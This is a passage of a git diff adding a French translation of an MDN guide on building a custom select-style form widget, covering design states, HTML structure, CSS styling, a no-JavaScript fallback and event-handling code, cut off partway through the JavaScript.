+  overflow : hidden;
+}</pre>
+
+<h3 id="Result_for_No_JS">Result for No JS</h3>
+
+<p>{{ EmbedLiveSample('No_JS', 120, 130) }}</p>
+
+<p> </p>
diff --git a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/index.html b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/index.html
new file mode 100644
index 0000000000..4173ff9f9c
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalisés/index.html
@@ -0,0 +1,837 @@
+---
+title: Comment construire des widgets de formulaires personnalisés
+slug: >-
+  Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés
+tags:
+  - Avancé
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Web
+translation_of: Learn/Forms/How_to_build_custom_form_controls
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Dans de nombreux cas les <a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">widgets de formulaires HTML disponibles</a> ne suffisent pas. Si vous voulez composer certains widgets dans un <a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">style avancé</a> tels que l'élément {{HTMLElement("select")}} ou si vous voulez leur donner des comportements personnalisés, vous n'avez pas d'autre choix que de créer vos propres widgets.</p>
+
+<p>Dans cet article, nous verrons comment construire un tel widget. Pour cela, nous allons travailler avec un exemple : reconstruire l'élément {{HTMLElement("select")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Nous nous resterons centrés sur la construction des widgets, et non sur la façon de rendre le code générique et réutilisable ; cela impliquerait une manipulation de code JavaScript et de DOM dans un contexte inconnu, et nous sortirions de la portée de cet article.</p>
+</div>
+
+<h2 id="Conception_structure_et_sémantique">Conception, structure et sémantique</h2>
+
+<p>Avant de créer un widget personnalisé, il faut commencer par déterminer exactement ce que vous voulez. Vous gagnerez ainsi un temps précieux. En particulier, il est important de définir clairement tous les états de votre widget. Pour ce faire, il est bon de commencer par un widget existant dont les états et le comportement sont bien connus, afin que vous puissiez simplement les imiter autant que possible.</p>
+
+<p>Dans notre exemple, nous allons reconstruire l'élément {{HTMLElement("select")}}}. Voici le résultat que nous voulons atteindre :</p>
+
+<p><img alt="The three states of a select box" src="/files/4481/custom-select.png" style="height: 135px; width: 366px;"></p>
+
+<p>Cette capture d'écran montre les trois états principaux du widget : l'état normal (à gauche), l'état actif (au milieu) et l'état ouvert (à droite).</p>
+
+<p>En termes de comportement, nous voulons que notre widget soit utilisable aussi bien avec une souris qu'avec un clavier, comme n'importe quel widget natif. Commençons par définir comment le widget atteint chaque état :</p>
+
+<dl>
+ <dt>Le widget est dans son état normal :</dt>
+ <dd>
+ <ul>
+  <li>la page se charge</li>
+  <li>le widget était actif et l'utilisateur a cliqué quelque part en dehors du widget</li>
+  <li>le widget était actif et l'utilisateur a déplacé le focus sur un autre avec le clavier</li>
+ </ul>
+ </dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dd>
+ <div class="note">
+ <p><strong>Note :</strong> Déplacer le focus dans la page entre les divers widgets se fait généralement en appuyant sur la touche de tabulation, mais ce n'est pas la norme partout. Par exemple, circuler parmi les liens sur une page se fait dans Safari par défaut en utilisant la <a href="http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/">combinaison Option+Tab</a>.</p>
+ </div>
+ </dd>
+ <dt>Le widget est sans son état actif :</dt>
+ <dd>
+ <ul>
+  <li>l'utilisateur clique sur lui</li>
+  <li>l'utilisateur presse la touche Tabulation et obtient le focus</li>
+  <li>le widget était dans l'état ouvert et l'utilisateur a cliqué dessus.</li>
+ </ul>
+ </dd>
+ <dt>Le widget est dans un état ouvert :</dt>
+ <dd>
+ <ul>
+  <li>le widget est dans un état autre que ouvert et l'utilisateur clique dessus.</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Maintenant que nous savons comment changer les états du widget, il est important de définir comment changer la valeur du widget :</p>
+
+<dl>
+ <dt>La valeur change quand :</dt>
+ <dd>
+ <ul>
+  <li>l'utilisateur clique sur une option quand le widget est dans l'état ouvert</li>
+  <li>l'utilisateur presse la touche <kbd>↑</kbd> ou <kbd>↓</kbd> quand le widget est dans l'état actif</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Enfin, définissons comment les options du widget doivent se comporter :</p>
+
+<ul>
+ <li>Quand le widget est ouvert, l'option sélectionnée est mise en valeur</li>
+ <li>Quand la souris est sur une option, l'option est mise en valeur et l'option précédemment mise en valeur revient à l'état normal</li>
+</ul>
+
+<p>Pour les besoins de notre exemple, nous nous arrêterons là ; cependant, si vous êtes un lecteur attentif, vous remarquerez que certains comportements ne sont pas précisés. Par exemple, que pensez-vous qu'il se passe si l'utilisateur appuie sur la touche Tabulation alors que le widget est dans l'état ouvert ? La réponse est… rien. D'accord, le bon comportement semble évident mais le fait est que, comme il n'est pas défini dans nos spécifications, il est très facile de fermer les yeux sur ce comportement. Dans un travail collaboratif, lorsque les personnes concevant le comportement du widget sont différentes de celles qui le mettent en œuvre, cette démarche se vérifiera.</p>
+
+<p>Autre exemple amusant : que se passera-t-il si l'utilisateur presse les touches <kbd>↑</kbd> ou <kbd>↓</kbd> alors que le widget est à l'état ouvert ? Ici, c'est un peu plus délicat. Si vous considérez que l'état actif et l'état ouvert sont totalement différents, la réponse est encore une fois « rien ne se produira » parce que nous n'avons pas défini d'interactions clavier pour l'état ouvert. D'autre part, si vous considérez que l'état actif et l'état ouvert coïncident, la valeur peut changer mais l'option ne sera certainement pas mise en valeur en conséquence, encore une fois parce que nous n'avons pas défini d'interactions clavier sur les options lorsque le widget est dans son état ouvert (nous avons seulement défini ce qui doit se passer lorsque le widget est ouvert, mais rien après).</p>
+
+<p>Dans notre exemple, les spécifications manquantes sont évidentes et nous les traiterons, mais cela peut devenir un problème réel sur de nouveaux widgets exotiques, pour lesquels personne n'a la moindre idée de ce qu'est le bon comportement. Il est donc toujours bon de passer du temps à l'étape conception, car si vous définissez pauvrement le comportement, ou si vous oubliez de le définir, il sera très difficile de le redéfinir une fois les utilisateurs habitués. Si vous avez des doutes, demandez l'avis des autres, et si vous avez le budget pour cela, n'hésitez pas à <a href="https://fr.wikipedia.org/wiki/Test_utilisateur">faire des tests utilisateur</a>. Ce processus est appelé UX Design <span class="CLPzrc Y0NH2b">(<strong>U</strong>ser e<strong>X</strong>perience)</span>. Si vous voulez en savoir plus sur ce sujet, vous devriez consulter les ressources utiles suivantes :</p>
+
+<ul>
+ <li><a href="http://www.uxmatters.com/" rel="external" title="http://www.uxmatters.com/">UXMatters.com</a></li>
+ <li><a href="http://uxdesign.com/" rel="external" title="http://uxdesign.com/">UXDesign.com</a></li>
+ <li><a href="http://uxdesign.smashingmagazine.com/" rel="external" title="http://uxdesign.smashingmagazine.com/">The UX Design section of SmashingMagazine</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Note : </strong>De plus, dans la plupart des systèmes, il y a moyen d'ouvrir l'élément {{HTMLElement("select")}} pour voir tous les choix disponibles (c'est la même chose que de cliquer sur l'élément {{HTMLElement("select")}} avec une souris). Cela se fait avec <kbd>Alt</kbd>+<strong><kbd>↓</kbd></strong> sous Windows et n'a pas été implémenté dans notre exemple - mais il serait facile de le faire, car le mécanisme a déjà été implémenté pour l'événement <code>click</code>.</p>
+</div>
+
+<h3 id="Definition_de_la_structure_HTML_et_de_la_sémantique">Definition de la structure HTML et de la sémantique</h3>
+
+<p>Maintenant que la fonctionnalité de base du widget a été décidée, il est temps de commencer à construire notre widget. La première étape consiste à définir sa structure HTML et à lui donner une sémantique de base. Voici ce dont nous avons besoin pour reconstruire un élément &lt;select&gt; :</p>
+
+<pre class="brush: html">&lt;!-- Ceci est notre conteneur principal pour le widget. L'attribut tabindex
+     est ce qui permet à l'utilisateur de mettre le focus sur le widget.
+     Nous verrons plus loin que c'est mieux de le faire avec JavaScript. --&gt;
+&lt;div class="select" tabindex="0"&gt;
+
+  &lt;!-- Ce containeur sera utilisé pour afficher la valeur courante du widget --&gt;
+  &lt;span class="value"&gt;Cerise&lt;/span&gt;
+
+  &lt;!-- Ce conteneur contiendra toutes les options disponibles pour le widget.
+       Comme c'est une liste, il y sens à utiliser l'élément ul. --&gt;
+  &lt;ul class="optList"&gt;
+    &lt;!-- Chaque option ne contient que la valeur à afficher, Nous verrons plus loin
+         comment gérer la valeur réelle qui sera envoyée avec les données du formulaire --&gt;
+    &lt;li class="option"&gt;Cerise&lt;/li&gt;
+    &lt;li class="option"&gt;Citron&lt;/li&gt;
+    &lt;li class="option"&gt;Banane&lt;/li&gt;
+    &lt;li class="option"&gt;Fraise&lt;/li&gt;
+    &lt;li class="option"&gt;Pomme&lt;/li&gt;
+  &lt;/ul&gt;
+
+&lt;/div&gt;</pre>
+
+<p>Notez l'utilisation de noms de classes qui identifient chaque partie pertinente indépendamment des éléments HTML sous-jacents utilisés. Ceci est important pour s'assurer que nous n'allons pas lier les CSS et JavaScript à une structure HTML forte, pour pouvoir faire des changements d'implémentation plus tard sans casser le code qui utilise le widget. Par exemple, si vous souhaitez implémenter l'équivalent de l'élément {{HTMLElement("optgroup")}}.</p>
+
+<h3 id="Composition_et_ressenti_avec_les_CSS">Composition et ressenti avec les CSS</h3>
+
+<p>Maintenant que nous avons une structure, nous pouvons commencer à concevoir notre widget. Le but de construire un widget personnalisé est de pouvoir lui donner exactement le style que nous voulons. Pour cela, nous allons partager le travail sur les CSS en deux parties : la première relative aux règles des CSS absolument nécessaires pour que notre widget se comporte comme un élément {{HTMLElement("select")}}, la seconde constituée des décorations utilisés lui donnant un aspect personnalisé.</p>
+
+<h4 id="Styles_obligatoires">Styles obligatoires</h4>
+
+<p>Les styles obligatoires sont ceux nécessaires à la gestion des trois états du widget.</p>
+
+<pre class="brush: css">.select {
+  /* Celui-ci crée un contexte de positionnement pour la liste des options */
+  position: relative;
+
+  /* Celui-ci fait que le widget devient partie du flot textuel
+     et devient en même temps dimensionnable */
+  display : inline-block;
+}</pre>
+
+<p>Nous avons besoin d'une classe <code>active</code> supplémentaire pour définir l'apparence du widget dans son état actif. Comme le widget peut recevoir le focus, nous doublons ce style personnalisé avec la pseudo-classe {{cssxref(":focus")}} afin d'être sûrs qu'elles se comporteront de la même manière.</p>
+
+<pre class="brush: css">.select.active,
+.select:focus {
+  outline: none;
+
+  /* Cette propriété box-shadow n'est pas requise à proprement parler, mais il est
+     important de s'assurer que l'état actif soit visible, c'est pourquoi nous
+     utilisons une valeur par défaut. Vous êtes libre de la modifier. */
+  box-shadow: 0 0 3px 1px #227755;
+}</pre>
+
+<p>Passons maintenant à la liste des options :</p>
+
+<pre class="brush: css">/* Le sélecteur .select ici est du sucre syntaxique (le fait de donner au
+   programmeur des possibilités d'écriture plus succinctes ou plus proches
+   d'une notation usuelle) pour s'assurer que les classes que nous définissons
+   sont les seules à l'intérieur du widget. */
+.select .optList {
+  /* Ceci assure que la liste des options sera affichée au dessous de la valeur
+     et en dehors du flot HTML */
+  position : absolute;
+  top      : 100%;
+  left     : 0;
+}</pre>
+
+<p>Nous avons besoin d'une classe supplémentaire pour gérer la liste d'options cachée. Ceci est nécessaire pour la gestion des différences entre état actif et état ouvert qui ne correspondent pas exactement.</p>
+
+<pre class="brush: css">.select .optList.hidden {
+  /* Ceci est un moyen simple pour cacher la liste tout en conservant l'accessibilité,
+     nous reparlerons plus loin d'accessibilité */
+  max-height: 0;
+  visibility: hidden;
+}</pre>
+
+<h4 id="Embellissements">Embellissements</h4>
+
+<p>Maintenant que nous avons mis en place les fonctionnalités de base, le divertissement peut commencer. Ce qui suit n'est qu'un exemple de ce qui est possible, et correspondra à la capture d'écran au début de cet article. Cependant, vous devriez vous sentir libre d'expérimenter et de voir ce que cela donne.</p>
+
+<pre class="brush: css">.select {
+  /* Toutes les tailles seront exprimées en valeurs em (lettre M, étalon
+     du cadratin : cadre dans lequel sont dessinées toutes les lettres d'une
+     police de caractères) pour des raisons d'accessibilité (pour être sûrs
+     que le widget reste redimensionnable si l'utilisateur utilise le zoom
+     du navigateur en mode texte exclusif). Les calculs sont faits en
+     supposant que 1em==16px qui est la valeur par défaut dans la majorité
+     des navigateurs. Si vous êtes perdus avec les conversions entre px et
+     em, essayez http://riddle.pl/emcalc/ */
+  font-size   : 0.625em; /* ceci (10px) est le nouveau contexte de taille de
+     police pour la valeur em dans ce contexte. */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* Nous avons besoin de plus d'espace pour la flèche vers le bas que nous
+     allons ajouter. */
+  padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : .2em solid #000; /* 2px */
+  border-radius : .4em; /* 4px */
+  box-shadow    : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  /* La première déclaration concerne les navigateurs qui ne prennent pas en
+     charge les gradients linéaires. La deuxième déclaration est parce que
+     les navigateurs basés sur WebKit ne l'ont pas encore préfixé. Si vous
+     souhaitez prendre en charge les anciens navigateurs, essayez
+     http://www.colorzilla.com/gradient-editor/ */
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  /* Comme la valeur peut être plus large que le widget, nous devons nous
+     assurer qu'elle ne changera pas la largeur du widget. */
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  vertical-align: top;
+
+  /* Et si le contenu déborde, c'est mieux d'avoir une jolie abreviation. */
+  white-space  : nowrap;
+  text-overflow: ellipsis;
+</pre>
+
+<p>Nous n'avons pas besoin d'un élément supplémentaire pour concevoir la flèche vers le bas ; à la place, nous utilisons le pseudo-élément {{cssxref(":after:after")}}. Cependant, elle pourrait également être mise en œuvre à l'aide d'une simple image de fond sur la classe <code>select</code>.</p>
+
+<pre class="brush: css">.select:after {
+  content : "▼"; /* Nous utilisons le caractère unicode U+25BC;
+                    voir http://www.utf8-chartable.de */
+  position: absolute;
+  z-index : 1; /* Il est important d'empêcher la flèche de chevaucher la liste des options */
+  top     : 0;
+  right   : 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  height  : 100%;
+  width   : 2em;  /* 20px */
+  padding-top : .1em; /* 1px */
+
+  border-left  : .2em solid #000; /* 2px */
+  border-radius: 0 .1em .1em 0;  /* 0 1px 1px 0 */
+
+  background-color : #000;
+  color : #FFF;
+  text-align : center;
+}</pre>
+
+<p>Maintenant, composons la décoration de la liste des options :</p>
+
+<pre class="brush: css">.select .optList {
+  z-index : 2; /* Nous disons explicitement que la liste des options doit toujours passer sur la flèche */
+
+  /* cela réinitialiser le style par défaut de l'élément ul */
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* Cela nous assure que même si les valeurs sont plus petites que le widget,
+     la liste des options sera aussi large que le widget lui‑même */
+  min-width : 100%;
+
+  /* Dans le cas où la liste est trop longue, son contenu débordera verticalement
+     (ce qui ajoutera une barre de déroulement automatiquement) mais jamais horizontalement
+     (car nous n'avons jamais défini de largeur, la liste ajustera automatiquement sa largeur
+     Si ce n'est pas possible, le contenu sera tronqué) */
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+
+  border: .2em solid #000; /* 2px */
+  border-top-width : .1em; /* 1px */
+  border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */
+  background: #f0f0f0;
+}</pre>
+
+<p>Pour les options, nous devons ajouter une classe <code>highlight</code> pour pouvoir identifier la valeur que l'utilisateur choisira (ou a choisi).</p>
+
+<pre class="brush: css">.select .option {
+  padding: .2em .3em; /* 2px 3px */
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<p>Donc, voici le résultat avec les trois états :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Basic state</th>
+   <th scope="col" style="text-align: center;">Active state</th>
+   <th scope="col" style="text-align: center;">Open state</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample('Basic_state',120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}</td>
+   <td>{{EmbedLiveSample("Active_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}</td>
+   <td>{{EmbedLiveSample("Open_state",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1")}}</td>
+  </tr>
+  <tr>
+   <td colspan="3" style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Donnez_vie_à_votre_widget_avec_JavaScript">Donnez vie à votre widget avec JavaScript</h2>
+
+<p>Maintenant que le design et la structure sont prêts, nous pouvons écrire le code JAvaScript pour que le widget fonctionne vraiment.</p>
+
+<div class="warning">
+<p>Avertissement : Le code qui suit a été conçu à des fins éducatives et ne doit pas être utilisé tel quel. Entre autres choses, comme nous le verrons, il n'est pas à l'épreuve du temps et ne fonctionnera pas sur des navigateurs historiques. Il comporte également des parties redondantes. Elles devraient être optimisées pour du code de production.</p>
+</div>
+
+<div class="note">
+<p>Note : Créer des widgets réutilisables peut se révéler un peu délicat. L'ébauche de la norme « <a href="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html">W3C Web Component</a> » apporte des réponses à cette question particulière. Le <a href="http://x-tags.org/">projet X-Tag</a> est un essai de mise en œuvre de cette spécification ; nous vous encourageons à y jeter un coup d'œil.</p>
+</div>
+
+<h3 id="Pourquoi_ne_fonctionne-t-il_pas">Pourquoi ne fonctionne-t-il pas ?</h3>
+
+<p> </p>
+
+<p>Avant de commencer, il est important de se rappeler quelque chose de très important à propos de JavaScript : dans un navigateur, c'est une technique peu fiable. Lorsque vous créez des widgets personnalisés, vous êtes obligé de faire appel à JavaScript parce que c'est un fil nécessaire pour tout lier ensemble. Cependant, il existe de nombreux cas dans lesquels JavaScript n'est pas capable de s'exécuter dans le navigateur :</p>
+
+<ul>
+ <li>L'utilisateur a désactivé le JavaScript : c'est un cas assez inhabituel, peu de personnes désactivent le JavaScript de nos jours.</li>
+ <li>Le script ne se charge pas. La chose est très courante, en particulier dans le domaine des mobiles pour lesquels le réseau n'est pas sûr.</li>
+ <li>Le script est bogué. Il faut toujours prendre en considération cette éventualité.</li>
+ <li>Le script est en conflit avec un autre script tierce‑partie. Cela peut se produire avec des suites de scripts ou n'importe quel marque page utilisé par l'utilisateur.</li>
+ <li>Le script est en conflit avec, ou est affecté par un extension de navigateur  (comme l'extension « <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/">No script</a> » de Firefox ou « <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external" title="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn">Scripts »</a> de Chrome).</li>
+ <li>L'utilisateur utilise un navigateur ancien et l'une des fonctions dont vous avez besoin n'est pas prise en charge. Cela se produira fréquemment lorsque vous utiliserez des API de pointe.s.</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<p>En raison de ces aléas, il est vraiment important de considérer avec sérieux ce qui se passe si JavaScript ne fonctionne pas. Traiter en détail cette question est hors de la portée de cet article parce qu'elle est étroitement liée à la façon dont vous voulez rendre votre script générique et réutilisable, mais nous prendrons en considération les bases de ce sujet dans notre exemple.</p>
+
+<p>Ainsi, si notre code JavaScript ne s'exécute pas, nous reviendrons à l'affichage d'un élément  {{HTMLElement("select")}} standard. Pour y parvenir, nous avons besoin de deux choses.</p>
+
+<p>Tout d'abord, nous devons ajouter un élément {{HTMLElement("select")}} régulier avant chaque utilisation de notre widget personnalisé. Ceci est également nécessaire pour pouvoir envoyer les données de notre widget personnalisé avec le reste de nos données du formulaire ; nous reviendrons sur ce point plus tard.</p>
+
+<p> </p>
+
+<pre class="brush: html">&lt;body class="no-widget"&gt;
+  &lt;form&gt;
+    &lt;select name="myFruit"&gt;
+      &lt;option&gt;Cerise&lt;/option&gt;
+      &lt;option&gt;Citron&lt;/option&gt;
+      &lt;option&gt;Banane&lt;/option&gt;
+      &lt;option&gt;Fraise&lt;/option&gt;
+      &lt;option&gt;Pomme&lt;/option&gt;
+    &lt;/select&gt;
+
+    &lt;div class="select"&gt;
+      &lt;span class="value"&gt;Cerise&lt;/span&gt;
+      &lt;ul class="optList hidden"&gt;
+        &lt;li class="option"&gt;Cerise&lt;/li&gt;
+        &lt;li class="option"&gt;Citron&lt;/li&gt;
+        &lt;li class="option"&gt;Banane&lt;/li&gt;
+        &lt;li class="option"&gt;Fraise&lt;/li&gt;
+        &lt;li class="option"&gt;Pomme&lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;
+  &lt;/form&gt;
+
+&lt;/body&gt;</pre>
+
+<p> </p>
+
+<p>Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre de cacher l'élément qui ne sert pas (c'est-à-dire l'élément{{HTMLElement("select")}} « réel »  si notre script ne fonctionne pas, ou le widget personnalisé s'il fonctionne). Notez que par défaut, le code HTML cache le widget personnalisé.</p>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  /* Ce sélecteur CSS dit fondamentalement :
+     - soit la classe body est "widget" et donc l'élément {{HTMLElement("select")}} réel sera caché
+     - soit la classe body n'a pas changé, elle est toujours "no-widget",
+       et donc les éléments, dont la classe est « select », doivent être cachés */
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}</pre>
+
+<p> </p>
+
+<p>Maintenant nous avons juste besoin d'un commutateur JavaScript pour déterminer si le script est en cours d'exécution ou non. Cette bascule  est très simple : si au moment du chargement de la page notre script est en cours d'exécution, il supprime la classe no-widget et ajoute la classe widget, échangeant ainsi la visibilité de l'élément {{HTMLElement("select")}} et du widget personnalisé.</p>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: js">window.addEventListener("load", function () {
+  document.body.classList.remove("no-widget");
+  document.body.classList.add("widget");
+});</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Sans JavaScript</th>
+   <th scope="col" style="text-align: center;">Avec JavaScript</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("No_JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}</td>
+   <td>{{EmbedLiveSample("JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}</td>
+  </tr>
+  <tr>
+   <td colspan="2" style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2">Testez le code source</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous voulez vraiment rendre votre code générique et réutilisable, au lieu de faire un changement de classe, il est préférable d'ajouter la classe widget pour cacher les éléments {{HTMLElement("select")}} et d'ajouter dynamiquement l'arbre DOM représentant le widget personnalisé après chaque élément {{HTMLElement("select")}} dans la page.</p>
+</div>
+
+<h3 id="Rendre_le_travail_plus_facile">Rendre le travail plus facile</h3>
+
+<p> </p>
+
+<p>Dans le code que nous sommes sur le point de construire, nous utiliserons l'API standard DOM pour faire tout le travail dont nous avons besoin. Cependant, bien que la prise en charge de l'API DOM se soit améliorée dans les navigateurs, il y a toujours des problèmes avec les anciens navigateurs (surtout avec le bon vieux navigateur Internet Explorer).</p>
+
+<p>Si vous voulez éviter les problèmes avec les navigateurs anciens, il y a deux façons de le faire : en utilisant un framework dédié tel que jQuery, $dom, prototype, Dojo, YUI ou similaire, ou bien en remplissant la fonctionnalité manquante que vous voulez utiliser (ce qui peut facilement être fait par un chargement conditionnel, avec la bibliothèque yepnope par exemple).</p>
+
+<p>Les fonctionnalités que nous prévoyons d'utiliser sont les suivantes (classées de la plus risquée à la plus sûre) :</p>
+
+<ol>
+ <li>{{domxref("element.classList","classList")}}</li>
+ <li>{{domxref("EventTarget.addEventListener","addEventListener")}}</li>
+ <li><code><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> (ce n'est pas du DOM mais du JavaScript moderne)</li>
+ <li>{{domxref("element.querySelector","querySelector")}} et {{domxref("element.querySelectorAll","querySelectorAll")}}</li>
+</ol>
+
+<p>Au-delà de la disponibilité de ces fonctionnalités spécifiques, il reste encore un problème avant de commencer. L'objet retourné par la fonction {{domxref("element.querySelectorAll","querySelectorAll()")}} est une {{domxref("NodeList")}} plutôt qu'un <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>. C'est important, car les objets  <code>Array</code> acceptent la fonction <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code>, mais {{domxref("NodeList")}} ne le fait pas. Comme {{domxref("NodeList")}} ressemble vraiment à un <code>Array</code> et que <code>forEach</code> est d'utilisation si commode, nous pouvons facilement ajouter la prise en charge de <code>forEach à</code> {{domxref("NodeList")}} pour nous faciliter la vie, comme ceci :</p>
+
+<pre class="brush: js">NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}</pre>
+
+<p>On ne plaisantait pas quand on a dit que c'était facile à faire.</p>
+
+<h3 id="Construction_des_fonctions_de_rappel_d'événements">Construction des fonctions de rappel d'événements</h3>
+
+<p>Les fondations sont prêtes, nous pouvons maintenant commencer à définir toutes les fonctions à utiliser chaque fois que l'utilisateur interagit avec notre widget.</p>
+
+<pre class="brush: js">// Cette fonction est utilisée chaque fois que nous voulons désactiver un
+// widget personnalisé. Elle prend un paramètre
+// select : le nœud DOM avec la classe select à désactiver
+function deactivateSelect(select) {
+
+  // Si le widget n'est pas actif, il n'y a rien à faire
+  if (!select.classList.contains('active')) return;
+
+  // Nous devons obtenir la liste des options pour le widget personnalisé
+  var optList = select.querySelector('.optList');
+
+  // Nous cachons la liste des options
+  optList.classList.add('hidden');
+
+  // et nous désactivons le widget personnalisé lui-même
+  select.classList.remove('active');
+}
+
+// Cette fonction sera utilisée chaque fois que l'utilisateur veut (des)activer le widget
+// Elle prend deux paramètres :
+// select : le nœud DOM de la classe `select` à activer
+// selectList : la liste de tous les nœuds DOM de la classe `select`
+function activeSelect(select, selectList) {
+
+  // Si le widget est déjà actif il n'y a rien à faire
+  if (select.classList.contains('active')) return;
+
+  // Nous devons désactiver tous les widgets personnalisés
+  // comme la fonction deactivateSelect remplit toutes les fonctionnalités de la
+  // fonction de rappel forEach, nous l'utilisons directement sans utiliser
+  // une fonction anonyme intermédiaire.
+  selectList.forEach(deactivateSelect);
+
+  // Et nous activons l'état du widget donné
+  select.classList.add('active');
+}
+
+// Cette fonction sera utilisée chaque fois que l'utilisateur veut enrouler/dérouler la
+// liste des options
+// Elle prend un paramètre :
+// select : le nœud DOM de la liste à basculer
+function toggleOptList(select) {
+
+  // La liste est prise à partir du widget
+  var optList = select.querySelector('.optList');
+
+  // Nous changeons la classe de la liste pour l'enrouler/dérouler
+  optList.classList.toggle('hidden');
+}
+
+// Cett fonction sera utilisée chaque fois qu'il faut mettre en surbrillance
+// une option.  Elle prend deux paramètres :
+// select : le nœud DOM de la classe `select`
+//          contenant l'option à mettre en surbrillance
+// option : le nœud DOM de la classe `option` à mettre en surbrillance
+function highlightOption(select, option) {
+
+  // Obtenir la liste de toutes les options disponibles pour l'élémént sélectionné
+  var optionList = select.querySelectorAll('.option');
+
+  // Supprimer la surbrillance pour toutes les options
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  // Mettre en surbrillance l'option correcte
+  option.classList.add('highlight');
+};</pre>
+
+<p>C'est tout ce dont on a besoin pour gérer les différents états du widget personnalisé.</p>
+
+<p>Ensuite, nous assujettissons ces fonctions aux événement appropriés :</p>
+
+<pre class="brush: js">// Nous lions le widget aux événements dès le chargement du document
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // Chaque widget personnalisé doit être initialisé
+  selectList.forEach(function (select) {
+
+    // de même que tous les éléments `option`
+    var optionList = select.querySelectorAll('.option');
+
+    // Chaque fois que l'utilisateur passe le pointeur de souris
+    // sur une option, nous mettons en surbrillance la dite option
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        // Note : les variables `select` et `option` sont des "closures"
+        // disponibles dans la portée de notre appel de fonction.
+        highlightOption(select, option);
+      });
+    });
+
+    // Chaque fois que l'utilisateur clique sur un élément personnalisé
+    select.addEventListener('click', function (event) {
+      // Note : la variable `select` est une "closure"
+      // available dans la portée de notre appel de fonction.
+
+      // Nous basculons la visibilité de la liste des options
